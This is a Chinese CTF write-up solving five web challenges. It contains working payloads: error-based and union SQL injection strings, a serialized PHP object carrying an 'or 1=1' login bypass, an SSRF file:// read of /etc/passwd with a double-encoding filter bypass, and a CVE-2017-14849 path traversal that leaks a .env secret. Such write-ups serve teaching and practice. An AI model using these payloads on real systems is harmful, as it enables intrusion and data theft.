本文涉及知识点：CTF实验室
Web
0x01 easy_sql
一开始看到是easysql，那就先上sqlmap跑跑看，跑出了数据库名security以及若干表名
继续跑flag，结果没跑出来，最后还是上手工了。。。
测试输入一个单引号，页面无反应，但是在源码中发现了又报错信息
接着用单引号和括号闭合，报错注入，之后想了一下，为什么页面没有回显呢，原来是因为错误信息居然显示白色，前期被骗了很久，用鼠标描一下即可看到
uname=aaa') or updatexml(1,concat(0x7e,mid((select * from flag),1,25)),1)%23&passwd=bbbb
uname=aaa') OR updatexml(1,concat(0x7e,mid((select * from flag),23,50)),1)%23&passwd=bbbb
0x02 ezsqli
开局一个输入框
查看hint得到源码
<?php
//a "part" of the source code here
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_POST['username']) && isset($_POST['password'])) {
if (!isset($_SESSION['VerifyCode']))
die("?");
$username = strval($_POST['username']);
$password = strval($_POST['password']);
if ( !sqlWaf($password) )
alertMes('damn hacker' ,"./index.php");
$sql = "SELECT * FROM users WHERE username='${username}' AND password= '${password}'";
// password format: /[A-Za-z0-9]/
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['password'] )
{
if ($row['password'] == $password)
{
$message = $FLAG;
} else {
$message = "username or password wrong, are you admin?";
}
} else {
$message = "wrong user";
}
} else {
$message = "user not exist or wrong password";
}
}
?>
password被过滤了，usename没有过滤，使用联合查询，构造username和password返回admin即可
username=admin1'+union+select+'admin','admin','admin'%23&password=admin&captcha=LSOK
0x03 warmup
下载源码开始审计，在index.php中发现了unserialize，估计是考察反序列化的利用了
···
if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
···
conn.php源码
<?php
include 'flag.php';
class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}
public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect ();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}
}
?>
可以看到在check_login中，有个flag的输出点，前提是我们需要伪造成admin用户
继续往下看，有个执行SQL语句的地方
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
下面还有个waf，看了一下，发现我们需要构造的万能密码所用到的字符不会被ban
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
所以这里我们可以利用SQL注入来变成admin登录，username改为admin，password为万能密码a' or '1'='1，代码如下：
<?php
include "conn.php";
$sql = new SQL();
$sql->table = "users";
$sql->username = "admin";
$sql->password = "a'or'1'='1";
$a = serialize($sql);
echo $a;
echo base64_encode ($a);
得到TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NToidXNlcnMiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTA6ImEnb3InMSc9JzEiO3M6NDoiY29ubiI7Tjt9，输入之后获得flag
0x04 ssrfME
访问可以看到有两个输入点，一个可以输入url，一个是验证码
脚本爆破验证码
<?php
for ($i=0; $i < 1000000000; $i++) {
$a = substr(md5($i), -6, 6);
if ($a == "d17b5b") {
echo $i;
break;
}
}
?>
尝试使用file协议读取，发现读取/etc/passwd成功
读取/flag，没成功，尝试读取/var/www/html/index.php，得到源码，原来是有个waf过滤了flag
···
if (isset($_POST['url']) && isset($_POST['captcha']) && !empty($_POST['url']) && !empty($_POST['captcha']))
{
$url = $_POST['url'];
$captcha = $_POST['captcha'];
$is_post = 1;
if ( $captcha !== $_SESSION['answer'])
{
$die_mess = "wrong captcha";
$is_die = 1;
}
if ( preg_match('/flag|proc|log/i', $url) )
{
$die_mess = "hacker";
$is_die = 1;
}
}
···
file协议读flag，利用两个url编码flag绕过
url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049
0x05 SecretGuess
题目给了源码，但是不全
在index.html中发现了source，点击可以看到源码
const express = require('express');
const path = require('path');
const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');
const fs = require('fs')
const hbs = require('hbs');
const process = require("child_process")
const app = express();
app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());
app.set('views', path.join(__dirname, "views/"))
app.engine('html', hbs.__express)
app.set('view engine', 'html')
app.get('/', (req, res) => {
res.render("index")
})
app.post('/', (req, res) => {
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth ) {
res.render("index", {result: process.execSync("echo $FLAG")})
} else {
res.render("index", {result: "wrong secret"})
}
})
app.get('/source', (req, res) => {
res.end(fs.readFileSync(path.join(__dirname, "app.js")))
})
app.listen(80, "0.0.0.0");
在给出dockerfile中，文件内容为
FROM node:8.5
COPY ./src /usr/local/app
WORKDIR /usr/local/app
ENV FLAG=flag{**********}
RUN npm i --registry=https://registry.npm.taobao.org
EXPOSE 80
CMD node /usr/local/app/app.js
去搜索相关内容，发现了可能会存在CVE-2017-14849漏洞
输入/static/../../a/../../..//etc/passwd，利用成功
接着去获取secret，/static/../../a/../../../usr/local/app/.env，得到secret=CVE-2017-14849
根据源码中的条件
if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5').update(env.parsed.secret).digest('hex') === req.body.auth )
我们将CVE-2017-14849进行md5加密之后提交即可获得flag，auth=10523ece56c1d399dae057b3ac1ad733
